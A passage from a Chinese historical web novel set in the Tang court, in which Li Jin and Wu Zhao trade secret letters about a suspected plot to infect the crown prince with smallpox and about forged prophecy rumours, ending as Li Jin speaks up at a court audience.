其一,郭老夫人处消息。老夫人前日奉诏入宫陪皇后殿下说话,言谈间提及,月前(约太子发病前十日),皇后殿下曾于宫中设小宴,为太子庆贺新得良马(乃陛下所赐陇右骏马)。是日,萧妃亦在,席间曾赞太子所佩一枚羊脂玉蟠螭佩‘温润可爱’,把玩良久。此佩乃太子生母遗物,太子素日贴身佩戴。宴后不久,太子即感不适,初时只道是宴上多食了寒羹。此细节,皇后殿下当时心烦,未曾留意,近日与老夫人闲谈忆起,方觉巧合。然玉佩太子一直佩戴,至今未离身,亦无破损异味,故难言蹊跷。
其二,妾借慧明之便,以‘为宫中旧人祈福超度’为名,暗中接触了曾在萧妃宫中服侍、后因故被遣至浣衣局的几名老宫人。以钱财开路,旁敲侧击,得知一旧事:约两年前,萧妃曾患‘隐疹’(似是风疹或轻微药疹),臂上起红疹,微痒。彼时侍疾者中,便有陈宫人。陈宫人曾私下向萧妃进言,言其家乡有‘以疹引疹’之偏方,或可助疹毒出透,好得快些。具体何法,宫人不知,只知后来萧妃疹子很快消退,且未留痕迹。陈宫人因此更得信重。
其三,最重要者。妾买通萧妃宫中一负责洒扫外院、与陈宫人住处相邻的粗使小宦官。其言,约在太子发病前半月,曾于深夜见陈宫人侄(即曾去牲畜市者)鬼祟入宫,交予陈宫人一小小油纸包,状甚神秘。次日,陈宫人曾独自在偏僻处,以炭火小心烘烤一物,似在制作什么。小宦官当时未在意,近日因妾使人以重金诱之,反复回忆,方觉可疑。其所烘烤之物,隔得远,看不真切,似是……某种干结的皮痂或药材碎末,气味轻微刺鼻。
其四,妾于寺中藏经阁整理旧籍,偶见前朝医书残页,提及‘人痘’可经‘移浆’或‘痘痂’传播,尤以‘痘痂研磨吸入’或‘沾染破损肌肤’为最险。其言,若以特殊之法处理痘痂(如烘烤、混以他药),可使其‘毒力’或变或存,难以预料。
综此数端,妾斗胆臆测:太子之疾,恐非天时,实乃人为!所凭者,或是取自宫外患痘者(或牛?)之痂皮,经陈宫人以秘法炮制,借宴席之机,由萧妃接触太子玉佩或其他贴身之物,使太子沾染。抑或,另有巧妙媒介,吾等尚未知晓。其目的,或在毁太子根基,动摇国本。此计甚毒,且几乎不落痕迹。
然此皆妾之推测,毫无实据。玉佩完好,陈宫人处绝难搜查,其侄更是无踪。萧妃地位尊崇,若无铁证,动之不得,反遭其噬。
妾思之,若欲破局,或可从三处着手:一,设法秘密查验太子玉佩,看有无极细微之药渍或残留,然此物太子随身,极难。二,继续深挖陈宫人侄之踪迹及其所交油纸包来源,此需外间大力。三,从‘人痘痂皮’来源查起,京中近日痘疮病患及病死者,可曾遗失骸骨或痂皮?或有贫家卖‘痘痂’之事?此需官府暗查,然极易打草惊蛇。
此事关系重大,妾在寺中,力有未逮,后续探查,恐需君在外运筹。东宫危机,非独在病,更在人心。万望慎重,若有计议,速速告知。
寺中岁末清冷,然诸事顺遂,慧明已妥,郭老夫人处情分日深,可为臂助。君在朝中,风头渐显,然木秀于林,更需潜藏。阅后即焚,切切。”
信末,是武曌一如既往的署名。但信的内容,却让李瑾拿着信纸的手,微微颤抖起来,不是恐惧,而是一种混合了震惊、愤怒、恍然与冰冷决意的复杂情绪。
原来如此!竟是如此!
萧淑妃!陈宫人!痘痂!宴席!玉佩!
武曌的推测,丝丝入扣,将之前零散的线索——萧淑妃送花、陈宫人通药理、其侄去牲畜市、陈宫人烘烤可疑物、太子宴后不适、以及“人痘”传播原理——全部串联了起来,勾勒出一幅令人不寒而栗的阴谋图景!利用天花(或类似)病毒,炮制后通过媒介间接传染给太子,制造“时疫”假象,手段之隐秘阴毒,心思之缜密狠辣,简直超乎想象!这已非简单的后宫争宠,而是赤裸裸的谋害储君,动摇国本!
难怪太子病情如此凶险古怪,既像天花,又不完全像,迁延不愈!若真是经过处理的痘痂病毒,其毒性和感染方式可能已发生改变,难怪太医署难以确诊!难怪萧淑妃在太子病后,除了最初的“关切”和隐晦的“提醒”,并无更多动作,因为她要的就是这个“因病衰弱、难以负荷”的结果!甚至可能期盼太子就此不起!
好一个“以疹引疹”!陈宫人当年为萧淑妃治隐疹,用的是寻常药物,但其所掌握的“以疹引疹”理念,或许正是这次阴谋的灵感来源,只不过将“引疹”变成了“传痘”!
怒火在李瑾胸中燃烧,几乎要冲破胸腔。但他强行压下,他知道,此刻愤怒毫无用处。武曌说得对,这一切只是基于线索的推测,毫无实据。玉佩是太子生母遗物,贴身之物,如何查验?陈宫人处铜墙铁壁,如何搜查?其侄早已藏匿无踪。痘痂来源更是大海捞针。对手显然精心策划,几乎抹去了一切直接证据。
他强迫自己冷静,走到炭盆边,将译出字迹的信纸一角凑近火焰,看着那清秀的字迹在橘红色的火苗中蜷曲、焦黑、化为灰烬,如同那隐藏在暗处的罪恶,亟待焚烧殆尽。
思绪在脑海中飞速碰撞、重组。武曌提出的三个方向都有道理,但难度极大。直接查验玉佩和搜查陈宫人,在目前情况下几乎不可能。追查陈宫人侄子和痘痂来源,是相对可行的突破口,但需要调动官府力量,必然惊动各方。萧瑀是尚书左仆射,在朝中势力不小,若无十足把握,贸然启动调查,很可能被反咬一口,甚至被对方借机清理掉王掌柜这样的市井眼线。
“不能从外部强攻,必须从内部突破,或者……制造机会,让对手自己露出破绽。” 李瑾踱步沉思,眸光冷冽。
他想到了牛痘。东宫第一批接种者观察期将满,结果良好。此事目前仍属绝密,仅限于皇帝、刘神威、少数心腹太医及自己知晓。或许……可以利用这件事?
一个大胆的念头逐渐成形。既然对手想用“痘”来害人,那他就用“痘”来防人,甚至……“引蛇出洞”。牛痘的成功,意味着对天花有了防御之力。如果这个消息,以某种“可控泄露”的方式,传递到某些人耳中,那些做贼心虚、担心太子或许“命不该绝”、或担心自己阴谋可能暴露的人,会有什么反应?会不会急于确认?会不会有新的动作?
尤其是,如果让某些人知道,太医署可能已经掌握了一种新的、有效的、能对抗痘疮的“奇术”,甚至可能用于太子……那么,那些不希望太子好转的势力,会不会狗急跳墙,试图破坏或探听?陈宫人通药理,会不会对这等“奇术”格外关注?萧淑妃会不会坐不住?
风险当然存在。消息泄露可能引发不必要的猜测或恐慌,也可能让牛痘术过早暴露在复杂目光下,增加推广难度。但相比坐等太子病情恶化、对手安然脱身,这个险,值得一冒。关键在于,如何“泄露”,泄露给谁,泄露到什么程度,必须精心设计。
他需要和刘神威密谈。也需要将武曌的发现和自己的初步想法,反馈给她。身处感业寺的武曌,或许能从宫女、宦官的人际网络中,发现“消息泄露”后的细微涟漪,提供关键判断。
他重新铺纸,但这次写的不是给武曌的密信,而是给刘神威的拜帖,以“请教《千金方》中一处关于痘疹论述”为名,约定明日午后在太医署刘神威的值房相见。这理由正当,不易惹疑。
接着,他才开始给武曌回信。他先高度肯定了武曌的敏锐与辛劳,称其推测“豁然开朗,直指要害”,然后写道:“君之所疑,与吾所虑暗合。然取证极难,强攻恐为不美。今有一计,或可诱敌……” 他将自己关于“可控泄露”牛痘消息、引蛇出洞的想法,简明扼要写出,并询问武曌,若此计施行,萧妃宫中、陈宫人处,可能有何反应,她在寺中能否察觉到异常动向。同时,他也请武曌,通过郭老夫人或其他可信渠道,若有若无地关注太子那枚羊脂玉蟠螭佩,近期是否有机会在不引人注意的情况下,短暂离开太子身边(比如送出去清洗、祈福等),但切不可强求,以免打草惊蛇。
信末,他叮嘱道:“此计行险,如走刀锋。吾在外与刘副署令谋之,必求稳妥。君在寺中,安危为要,只需静观其变,若有异兆,速速传讯。东宫之危,非独太子之疾,乃社稷之疡。吾等既入此局,当携手剜之。”
将两封信分别以不同方式送走后,窗外已是暮色苍茫。雪又悄悄下了起来,无声地覆盖着皇城的万千宫阙。李瑾独立窗前,望着那一片混沌的白色,眼神却锐利如即将出鞘的剑。
武曌的密讯,如同一道撕裂夜空的闪电,照亮了黑暗中的魑魅魍魉,也指明了反击的方向。虽然前路依然迷雾重重,强敌环伺,但他不再是独自在黑暗中摸索。他们一个在朝,一个在寺,一明一暗,已然织成了一张无形之网,静待着那条毒蛇,自己游入网中。
“萧淑妃……陈宫人……” 李瑾低声念着这两个名字,寒意与杀意交织。这场始于感业寺青灯下的盟约,所面临的第一次真正严峻的考验与反杀,即将在这年关交替、雪花纷飞之际,悄然拉开序幕。
媚娘传密讯,瑾郎定奇谋。棋局至此,攻守之势,或将易也。
第37章 伪造谶纬案
腊月廿九,岁除前日。长安城的年节气氛,在连日大雪与东宫持续的低气压中,显得有些虚浮而刻意。宫中的赏赐、民间的傩戏、坊间的爆竹声,都驱不散那层笼罩在帝国心脏上方的阴翳。
李瑾与刘神威的“请教”之约如期进行。在太医署刘神威那间堆满医书药匣、弥漫着清苦草药气息的值房里,两人以探讨医经为掩护,进行了一番深谈。李瑾没有透露武曌关于“人为传痘”的具体推测(这是对武曌的保护),但强调了太子病情蹊跷,恐有隐情,并提出了自己关于“可控泄露”牛痘部分消息、以观察各方反应的设想。
刘神威听罢,沉吟良久。他虽醉心医道,但身居太医署副署令之职,又历经宫廷风波,绝非不通世务之辈。他明白李瑾的顾虑与意图,也清楚此事的风险。最终,他缓缓点头:“瑾兄所虑深远。牛痘之法,验证有效,本是光明正大、活人无算之术。然时机场合,确需谨慎。若……若有意让某些人‘偶然’得知,太医署正为宫中研制一种可防痘疮的‘新法’,且已初见成效,此事……倒也不难操作。署中人多口杂,总有那么一两个嘴巴不严、又或与各宫有些牵扯的吏员。只需在看似不经意的场合,让他们‘偶然’听到些许风声,真假参半即可。只是……” 他看向李瑾,目光凝重,“此风一旦放出,恐难收回。若引得更多人关注、索求,甚至陛下过问提前推行,该当如何?”
“神威兄所虑甚是。” 李瑾道,“故风声需控制在一定范围,内容也需模糊。只说太医署奉密旨,从古籍与民间验方中得到启发,正在试验一种‘以弱毒防强疫’之法,于防治痘疮或有奇效,目前只在极小范围验证,成败未卜,陛下有严令不得外泄。如此,既勾起有心人注意,又留有足够余地,不至引发大规模觊觎或恐慌。即便陛下问起,我们亦有说辞——为防小人破坏或干扰试验,不得已放出些烟幕,混淆视听。”
刘神威思忖片刻,觉得此法可行,且风险可控。“好,便依瑾兄之言。此事由我来安排,必做得看似无意,痕迹自然。”
两人又商定了几个“泄露”的细节和大致时机,便在值房外几名小吏“恰好”经过时,提高了些声音,谈论了几句“孙真人《千金方》中‘以毒攻毒’之理,于疫病防治或有新途”云云,随后李瑾便告辞离去。
接下来两日,便是岁除与元日。宫廷典礼繁琐而压抑,李瑾作为新任东宫属官,品阶虽低,也需参与部分朝贺与宫宴。他谨守本分,除了必要的礼数,几乎不言不语,只在人群中默默观察。他能感觉到,一些若有若无的目光,偶尔会落在他身上,带着探究。牛痘的“风声”,似乎已经开始悄然蔓延。
正月初三,宫中循例休沐,但紧张气氛未减。就在这日午后,李瑾正在宅中书房,根据武曌之前的建议,重新梳理一份关于“改进漕运、设立常平仓、规范市舶”的条陈纲要,打算年后寻机以“密折”形式上呈,既展现能力,又不显突兀。李福忽然来报,杜铭匆匆来访,脸色异常难看。
“瑾兄,出事了!” 杜铭屏退左右,压低声音,带着惊怒,“姑母(周尚宫)刚刚冒险递出消息,宫中……宫中突然流传起一些极为不堪的谣言谶纬!”
“谶纬?” 李瑾心头一紧。谶纬之术,自汉末以来屡禁不止,在唐代依然是敏感而危险的政治工具,常被用于攻击政敌、动摇人心,尤其是涉及天命、皇权、后宫之时。
“正是!” 杜铭急切道,“谣言起于昨夜,源头不明,但传播极快。内容荒诞恶毒,直指……直指感业寺中的先帝才人武氏,还有……还有陛下!”
感业寺!武氏!李瑾瞳孔骤缩,强行稳住心神:“具体是何谣言?”
“谣言有两则。” 杜铭语速极快,“其一,言有‘妖星现于太微’,主‘阴侵阳,女主昌’,暗合先朝‘唐三代后,女主武王代有天下’的秘谶。更恶毒的是,谣言将此事与感业寺中为先帝诵经祈福的武氏才人(媚娘)联系起来,言其名‘曌’(日月当空),与‘女主’之兆暗合,且其出宫为尼,乃‘潜龙勿用’,实则‘阴蓄异志’!甚至……甚至影射其与陛下有旧,恐非清修,有秽乱宫闱、蛊惑圣心之嫌!”
李瑾只觉得一股寒气从脚底直冲天灵!这谣言太毒了!不仅将“女主武王”这个太宗朝就令帝王忌惮的预言与武曌强行挂钩,更污蔑其与当今皇帝有染,将其置于Y乱祸G的位置!这是要将武曌彻底钉死在道德和政治的耻辱柱上,永世不得翻身!更要紧的是,这谣言隐隐将矛头指向了皇帝李治的德行!
“其二呢?” 李瑾声音发冷。
“其二更险恶!” 杜铭脸色发白,“言去岁冬日,有古碑自洛水出,上有模糊铭文,经‘有心人’解读,曰:‘麟儿折足,东宫晦明;金刀入木,萧墙祸生’。‘麟儿’暗指太子,‘折足’喻其重病;‘东宫晦明’自不待言;‘金刀’为‘刘’(劉)字部首,亦可解为‘刀兵’;‘木’者,‘李’也!这分明是影射太子之病,乃因有人(姓刘或动刀兵者)对李氏皇族不利,祸起萧墙!这……这简直是诛心之论,不仅诅咒太子,更暗示东宫之内或朝中有人谋害储君!”
李瑾脑中嗡嗡作响。第一条谣言针对武曌,第二条则直指东宫太子病源,且将矛头隐隐导向“刘”姓或“动刀兵”者!这是在为谁开脱?又是在陷害谁?刘姓……朝中刘姓重臣不多,但太医署署令姓王,副署令刘神威正姓刘!而且刘神威是孙思邈弟子,精通药性,又参与了牛痘试验……难道,对手一计不成,又生毒计,想将太子“被谋害”的嫌疑,引到刘神威甚至整个太医署头上?或者,是想制造更大的混乱,将水彻底搅浑?
不,这恐怕不是孤立的两条谣言。这是一套组合拳!先以Y乱谶纬毁掉武曌(王皇后潜在助力?皇帝可能旧情?),再以恶毒谶纬将太子病因引向“内部谋害”,打击东宫属官(尤其是与“刘”或“医”相关的),同时继续动摇国本!萧淑妃一系嫌疑最大!她们刚刚在“传痘”阴谋上可能遇到阻力(牛痘风声放出?),立刻转换战场,用更隐蔽、更恶毒的舆论武器发动攻击!而且,时机选在年节宫禁稍松、人员往来复杂之际,便于谣言传播,又难以追查源头!
“陛下和皇后殿下可知此事?作何反应?” 李瑾强迫自己冷静分析。
“陛下今日方知,闻之大怒,已严令内侍省、金吾卫彻查谣言来源,并禁绝传播。然谣言如风,岂是轻易能禁?皇后殿下闻知第二条谣言,又惊又怒,当场晕厥,现已救醒,但情绪极差,言此乃有人欲置太子于死地而后快。萧淑妃则在陛下面前哭诉,言定是有人妒恨太子与皇后,行此卑劣之举,并‘无意间’提及,太医署近日似有‘异动’,人心惶惶……” 杜铭忧心忡忡,“瑾兄,此事非同小可!谶纬惑众,向为朝廷大忌。此谣言直指宫闱与国本,一旦扩散,必引朝野震荡。更可怕的是,若有人借此攀诬……姑母担心,皇后殿下与太子处境将更加艰难,甚至……连瑾兄你,恐也会被牵连!”
李瑾明白杜铭的担心。自己与武曌有秘密联系(虽无人知),又是东宫新晋属官,与刘神威过从甚密,还刚刚“献策”得了皇帝赏识。若谣言发酵,有人想趁机清洗,自己很容易成为靶子。
“杜兄莫急。” 李瑾深吸一口气,大脑以前所未有的速度运转,“对方此计虽毒,却也暴露了其急切与心虚。一则,谣言内容过于牵强附会,尤其将‘女主武王’之古谶与感业寺中为先帝祈福之人强行联系,明眼人稍加思索,便知荒谬。武才人名‘曌’,乃其自取,入寺后方用,如何能与数十年前流传之谶语挂钩?此显系有人知其名后,刻意附会构陷。二则,洛水古碑之谶,语焉不详,穿凿附会痕迹更重。‘麟儿折足’、‘金刀入木’等语,坊间谶书常见,随意套用而已。关键是,此谣言出现时机,恰在太子病重、东宫不稳之际,其针对性与恶意,不言而喻。”
杜铭听了,稍觉心安:“瑾兄分析得是。然三人成虎,众口铄金。陛下正在盛怒,又忧心太子,若听信谗言,或为平息物议,恐怕……”
“所以,我们不能被动等待,必须主动出击,破解此局。” 李瑾眼中闪过一丝锐芒,“破解谶纬,不能就谶纬论谶纬,否则越描越黑。需以更高明之法,或揭穿其伪造本质,或将其导向无害甚至有利之解释。”
“更高明之法?如何做?” 杜铭急问。
李瑾在室中踱步,沉吟道:“对方用谶纬,我们亦可用‘谶纬’反击,或可用‘考据’破之。第一条谣言,关键在于‘女主武王’与武才人之关联。若能证明,此关联系人为捏造,或找出捏造之证据,谣言不攻自破。第二条谣言,关键在于‘洛水古碑’之真伪。所谓自洛水出,可有实证?碑文拓片何在?解读之人是谁?若皆虚无缥缈,便是子虚乌有。此二事,皆需暗中查证。”
他停顿一下,看向杜铭:“杜兄,你即刻回去,通过令姑母,向皇后殿下进言,此时万不可自乱阵脚,更不可贸然替武才人辩护或追查,以免落人口实。殿下只需在陛下面前,表现出对此等无稽谣言之痛恨与对太子病情之忧虑即可。同时,请姑母暗中留意,宫中最早传播这两则谣言的是哪些人,尤其是与萧淑妃宫中、或其外戚关联者。另外,打听一下,近日可有朝臣或宗室,向陛下进呈过所谓的‘祥瑞’、‘古物’或‘谶书’?”
“好,我记下了!” 杜铭点头。
“还有,” 李瑾压低声音,“请姑母设法,将一条消息,‘无意间’透露给皇后殿下信任的、但可能嘴不严的宫人,就说……陛下因太子病情与谣言之事,心忧如焚,曾私下感叹,恨不能得‘周公祷天’、‘扁鹊再世’之术,以救储君、安社稷。此言或可经宫人之口,流入某些人耳中。”
杜铭一怔,不明所以。李瑾解释道:“陛下此叹,显是忧心太子病情与朝局。若有人‘关心’陛下,或想‘投其所好’,或许会在此处做文章。我们或可静观其变。”
杜铭似懂非懂,但知李瑾必有深意,也不多问,匆匆离去。
送走杜铭,李瑾心潮难平。对手的反扑来得又快又狠,直指他与武曌联盟最核心的隐患——武曌的敏感身份。此计若成,不仅武曌万劫不复,自己与东宫的关联也可能被重新审视,甚至刘神威的牛痘大业也可能受阻。必须立刻通知武曌,让她在寺中有所准备,并商议对策。
他迅速提笔,以密语写下警示与初步分析,让武曌“务必镇定,深居简出,一切如常,对任何打探、传言皆作不知。谣言恶毒,然根基虚浮,破绽甚多。吾在外已有计较,正设法查证源头,并布反制之局。卿在寺中,可借慧明、郭老夫人之口,若有合适时机,可‘偶然’提及,先帝在时,最恶谶纬惑众,曾严令毁禁,并言‘天命在德,不在诡言’。此语或可经郭老夫人传入陛下耳中。万勿自行辩解,切记!”
信刚送走,李福又报,刘神威府上派人来,说有急事相邀。李瑾心中一动,立刻前往。
刘神威在府中书房等候,面色凝重中带着一丝愤怒。“瑾兄,你也听闻宫中谣言了?”
“略有耳闻,正想寻神威兄商议。” 李瑾道。
“第二条谣言,直指‘刘’姓与‘刀兵’,用心险恶!” 刘神威沉声道,“我刘神威行医济世,俯仰无愧,竟遭此污蔑!更可虑者,此谣一起,恐于牛痘推广,以及太子病情诊治,皆生阻碍!陛下若因此对太医署,尤其对我等心生疑虑……”
“神威兄稍安。” 李瑾安慰道,“此谣拙劣,明眼人皆知是构陷。陛下圣明,岂会因几句无稽谶言,便疑心为国尽忠的臣子?然,我们亦不可坐视。神威兄,你可知,近日太医署内,或朝中与医药有关的官员中,可有刘姓同僚,与萧氏外戚,或与‘洛水’、‘碑刻’之事有所关联?”
刘神威皱眉思索:“太医署中刘姓不止我一人,然皆品阶不高。朝中……倒是有位将作监的刘姓少监,似乎与萧瑀萧相府上有些远亲往来。至于‘洛水古碑’……此事颇为蹊跷,我从未听闻有此事上报。若真有古碑出水,涉及谶纬,必是大事,早该轰动朝野,岂会默默无闻至今才传出谣言?恐怕这‘古碑’本身,就是子虚乌有!”
“正是!” 李瑾点头,“无根之木,无水之源。此谣言最大破绽,便是这‘洛水古碑’。只要证明此碑不存在,或碑文系伪造,谣言便塌了大半。此事,或需从将作监、或洛阳地方官府暗中查起。但需非常小心,不能打草惊蛇。”
两人又商议片刻,李瑾将希望刘神威利用太医署渠道,留意任何与“古碑”、“谶文”相关的医药记载或传言(对手可能从古籍中摘抄拼凑),以及注意署内人员动向,尤其是与萧氏有关联者。
离开刘神威府邸,天色已晚。长安城华灯初上,却驱不散李瑾心头的阴霾。对手这一招“伪造谶纬”,确实打在了七寸上,将原本隐秘的“传痘”阴谋调查,引向了更加公开、更加凶险的舆论战场。但危机亦是转机。如此恶毒而明显的构陷,若能巧妙揭穿并反制,或许能重创萧淑妃一系,甚至一举扭转东宫的被动局面。
回到宅中,李瑾毫无睡意。他铺开纸,开始梳理整个“谶纬案”的可能线索与破解思路。对手伪造谣言,必然留下痕迹。或是从古籍中拼凑字句,或是假托天意编造故事,或是利用某些实物(所谓“古碑”)造假。从“女主武王”这个古老谶语入手,或许能追溯到近期有谁在查阅、谈论相关记载。从“洛水古碑”这个虚构之物入手,或许能查到有谁在洛阳或长安暗中活动,伪造碑石、拓片。从谣言传播路径入手,或许能顺藤摸瓜,找到最初的散播者,尤其是与萧淑妃宫中相关者。
他需要更多的人手和资源。王掌柜的市井网络或许能查探长安城中关于谶纬谣言的源头,但对宫中和洛阳可能力有不逮。或许……可以动用皇帝新给的“密折”权限?不,时机未到,没有实证,贸然上奏,反像攀诬。
或许,可以借助第三方力量。长孙无忌?这位老臣对谶纬的态度如何?史载其似乎并不热衷,且注重朝局稳定。若能让其意识到,此谶纬谣言意在扰乱朝纲、动摇国本,他或许会出手干预。但如何不着痕迹地让长孙无忌知晓并产生怀疑?
还有郭老夫人。她是将门之母,性子刚直,又得皇帝礼遇。若她听闻此等恶毒谣言,尤其涉及太子,是否会愤而直言?她的态度,或许能影响皇帝。
李瑾思前想后,一个初步的应对框架逐渐清晰:稳住内廷(王皇后、武曌),查证外间(谣言源头、伪造证据),引导舆论(借郭老夫人、长孙无忌等力),伺机反戈(揭穿伪造,指向萧氏)。
然而,这一切都需要时间,而谣言却在飞速扩散。必须尽快找到突破口。
就在他苦思冥想之际,李福再次悄悄进来,手中拿着一卷看似寻常的佛经。“公子,寺里回信了,这次……是加急的。”
李瑾精神一振,接过经卷译看。武曌的回信,笔迹依旧平稳,但字里行间透着一股冰雪般的冷静与锐利:
“瑾君钧鉴:谣言已悉。妾在寺中,一切如常,慧明、郭老夫人处已按君之意稍作安排。然妾于藏经阁整理旧籍时,偶有所得,或可破此谶局。
其一,关于‘女主武王’谶言。妾查寺中旧档,见有贞观十九年,先帝曾因太白昼现,疑与此谶有关,密令太史局、秘书省彻查。当时结论,此谶或与‘武卫将军’、‘武连郡公’等号有关,已作处置。然档中附有一前朝谶书残页抄本,其上有‘女主武王’四字,其上下文为‘(前缺)……唐中弱,有女武代王(后缺)’。妾观其笔迹纸张,与贞观年间官文不同,似更古旧。然巧合的是,妾在整理另一卷高宗显庆年间(当朝年号)御赐的《艺文类聚》残本时,于‘谶纬部’辑录中,竟见有与此残页笔迹、句式极为相似之文句,其上下文为‘(前缺)……麟儿折足,东宫晦(后缺)’。两相对照,疑为同一来源之谶书散页!
其二,郭老夫人今日来寺祈福,闲谈中提及,其子郭将军麾下有一洛阳籍校尉,月前返乡,曾于洛水边见有石工鬼祟雕凿一物,形似碑碣,因其行迹可疑,校尉曾派人暗中留意,然未得果。后闻洛阳近日确有‘古碑出水’传言,然官府查之,并无实证。此校尉昨日回营提及,郭老夫人记在心中。
妾疑之,所谓‘洛水古碑’之谶文,恐是有人据宫中秘藏或流传之前朝谶书散页,摘句拼凑,伪造而成。其‘麟儿折足,东宫晦明’之句,或源自妾所见之残页。而伪造古碑,则是为给谣言披上‘天示’之外衣。
若此推测为真,则破局关键,在于找到那份被摘抄拼凑的原始谶书散页,或查出是何人、于何时、从何处(秘书省?内侍省藏书?私家收藏?)得见此散页,并加以利用。此事,或可着落于掌管典籍、或与萧氏往来密切之文臣。
妾在寺中,难以深查。然君在朝,或可从此处入手。又,君前信提及‘陛下感叹’之事,妾以为,或可借此,诱使伪造谶纬者,献上其‘精心准备’之‘祥瑞’或‘解谶’之方,届时或可人赃并获。
此事千头万绪,然敌已出招,我需应之。万望谨慎,步步为营。阅后即焚。”
看完密信,李瑾眼中精光大盛!好一个武曌!身处感业寺,竟能从故纸堆中找出如此关键的线索!谶书散页!笔迹对照!洛水石工!这几乎将谣言伪造的证据链条,勾勒出了一大半!
对手并非凭空编造,而是利用了真实存在的前朝谶书散页,进行摘抄、拼凑、篡改,并辅以伪造的“古碑”来增加可信度!这需要接触宫廷或官府藏书,需要懂得文墨,需要有人力在洛阳行事。范围一下子缩小了许多!
萧瑀是尚书左仆射,位高权重,其家族亦有文名,完全有机会接触秘藏典籍。其子侄辈或门下,也足以驱使人在洛阳行事。而太医署刘姓少监与萧府有亲,或许就是其中一环,负责提供“金刀入木”这类涉及“医”、“药”、“病”的谶纬灵感?
思路豁然开朗!李瑾压抑住心中激动,再次将武曌的信付之一炬。现在,目标更清晰了。他需要设法查证:第一,那份笔迹相似的谶书散页,如今在谁手中?秘书省、内侍省、还是萧瑀府上?第二,洛阳洛水边的“石工”是谁指派?与萧氏外戚有无关联?第三,朝中近期,有谁可能向皇帝进献“祥瑞”或“解谶”之方?
他铺开新的纸笔,开始重新规划。这一次,他要布下的,是一张既能自保、又能杀敌的罗网。伪造谶纬案,或许将成为他扳倒萧淑妃一系、彻底稳固东宫地位的关键一役。而武曌传来的这份密讯,便是点燃这反击之火的,第一颗火星。
第38章 金殿证清白
正月初六,年节休沐已毕,常朝重启。太极殿内,文武百官依序肃立,气氛却比往日更加凝重。年节未能驱散的阴霾,因着近日宫中甚嚣尘上的“谶纬谣言”,更添几分诡谲与压抑。太子病重、谣言四起,让这本该万象更新的元月朝会,蒙上了一层不祥的阴影。
李瑾身着青色官袍,立于殿外廊下低品官员的队列中。他面色平静,但目光深处,却沉静如渊,将殿内高官显贵们的表情、私下交换的眼神,尽收眼底。他能感觉到,今日朝会,必不寻常。昨日,他已将武曌提供的关于“谶书散页笔迹相同”、“洛水石工”的线索,结合自己与刘神威、杜铭等人分头查证所得的一些边角信息,整理成了一份条理清晰的密折,于昨夜通过特殊渠道,秘密呈递给了皇帝李治。他知道,今日的朝会,或许就是揭开这场“谶纬”阴谋、甚至揪出背后黑手的关键战场。但他也清楚,对手地位尊崇,树大根深,若无铁证,仅凭推测,贸然发难,无异自取灭亡。他在等待,等待一个契机,或者,等待对手自己跳出来。
果然,朝会例行奏对之后,短暂的沉寂被打破。尚书左仆射、萧淑妃之父、宋国公萧瑀手持玉笏,出列奏道:“陛下,臣有本启奏。”
“萧卿所奏何事?”御座之上,李治的声音带着明显的疲惫与不耐。连日来太子病情反复,谣言困扰,已让这位年轻的皇帝心力交瘁。
“陛下,”萧瑀神情肃穆,声音洪亮,“近日宫中市井,流言四起,多涉谶纬妖言,诽谤宫闱,影射朝臣,甚至诅咒东宫,动摇国本。此等无稽之谈,本不足为信。然,三人成虎,众口铄金。今太子殿下沉疴在身,正需朝野一心,祈福静养。此等谣言肆虐,非但惑乱人心,更恐使奸邪之辈,借机生事,离间君臣,危害社稷。臣恳请陛下,下旨严查谣言源头,揪出造谣生事、居心叵测之徒,以正视听,以安人心!”
此言一出,殿中不少大臣纷纷颔首。萧瑀这番话,冠冕堂皇,站在“维护朝纲”、“稳定人心”、“为太子祈福”的道德制高点上,无可指摘。然而,熟悉朝局者都能听出,他将“谣言”与“太子病重”并提,强调“离间君臣”、“奸邪生事”,隐隐已有引导舆论、将矛头指向某些“可能受益者”的意味。
李治眉头紧锁,他何尝不想彻查?内侍省、金吾卫早已暗中行动,奈何谣言如风,源头飘忽,查了数日,只抓了几个以讹传讹的宫人小吏,真正的始作俑者依旧隐藏在迷雾之后。“萧卿所言甚是。朕已命有司严查。然谣言诡异,查证需时。诸卿有何良策,可速破此局,以靖浮言?”
这时,又有一名官员出列,乃是御史台一位侍御史,姓王,素以敢言著称,但其立场似乎与萧瑀一系较为亲近。“陛下,臣以为,谣言虽妄,然空穴来风,未必无因。尤其涉及‘女主武王’古谶与感业寺,涉及‘洛水古碑’与东宫,其所指虽荒诞,然能迅速流传,必是切中了时下某些隐忧疑窦。臣斗胆进言,欲破谣言,或需先解其‘所指’之惑。譬如感业寺为先帝祈福之人,是否果真清修无瑕?东宫侍奉、诊治,是否果真毫无疏漏?唯有澄清事实,昭示天下,谣言自可平息。”
这话就更露骨了,几乎是在暗示,要平息谣言,就得先把武曌和东宫属官(尤其是太医)查个底朝天,看看他们是否“干净”。这显然是在配合萧瑀,将调查的矛头,引向皇帝可能不愿深究、或一旦深究极易引发更大波澜的敏感区域。
殿内气氛更加微妙。不少大臣眼观鼻,鼻观心,不敢轻易表态。长孙无忌、褚遂良等重臣面无表情,静观其变。于志宁脸色铁青,想要出列反驳,却被身旁的同僚轻轻拉了一下。
李治的脸色也沉了下来。他自然听出了王御史话中的机锋。查武曌?那势必牵扯先帝和自己,是极大的皇室丑闻。查东宫和太医?在太子病重之时,这等于是公开质疑皇后和太医署,不仅无助于太子病情,反而会引发更大的动荡和猜忌。这哪里是“平息谣言”,简直是火上浇油!
“王御史此言差矣!” 就在此时,一个清朗而沉稳的声音响起,并非来自殿内高官,而是从殿外廊下传来。众人循声望去,只见身着青袍的李瑾,手持玉笏,趋步进入殿中,在御阶下躬身行礼。“陛下,臣太子司经局校书郎李瑾,冒死进言,请陛下容禀。”
殿内顿时响起一片低低的议论声。一个从九品下的微末小官,竟然在御前打断御史言路,直斥其“差矣”,这胆子也太大了!无数道目光聚焦在李瑾身上,有惊讶,有好奇,有不屑,也有担忧。
李治看着阶下这个身姿挺拔、神色平静的年轻人,眼中闪过一丝复杂。昨夜那份条理清晰、直指关键的密折内容,再次浮上心头。他略一沉吟,道:“李瑾,你有何话说?”
“谢陛下。” 李瑾直起身,目光平静地扫过萧瑀和王御史,然后转向御座,朗声道,“陛下,王御史言‘空穴来风,未必无因’,此言似有道理,实则大谬!今日之谣言,非是‘空穴来风’,而是有人刻意‘凿穴鼓风’,伪造谶纬,构陷忠良,其心可诛!”
“哗——” 殿中又是一阵骚动。李瑾此言,直接点明谣言是“伪造”、“构陷”,语气之肯定,措辞之严厉,令人震惊。
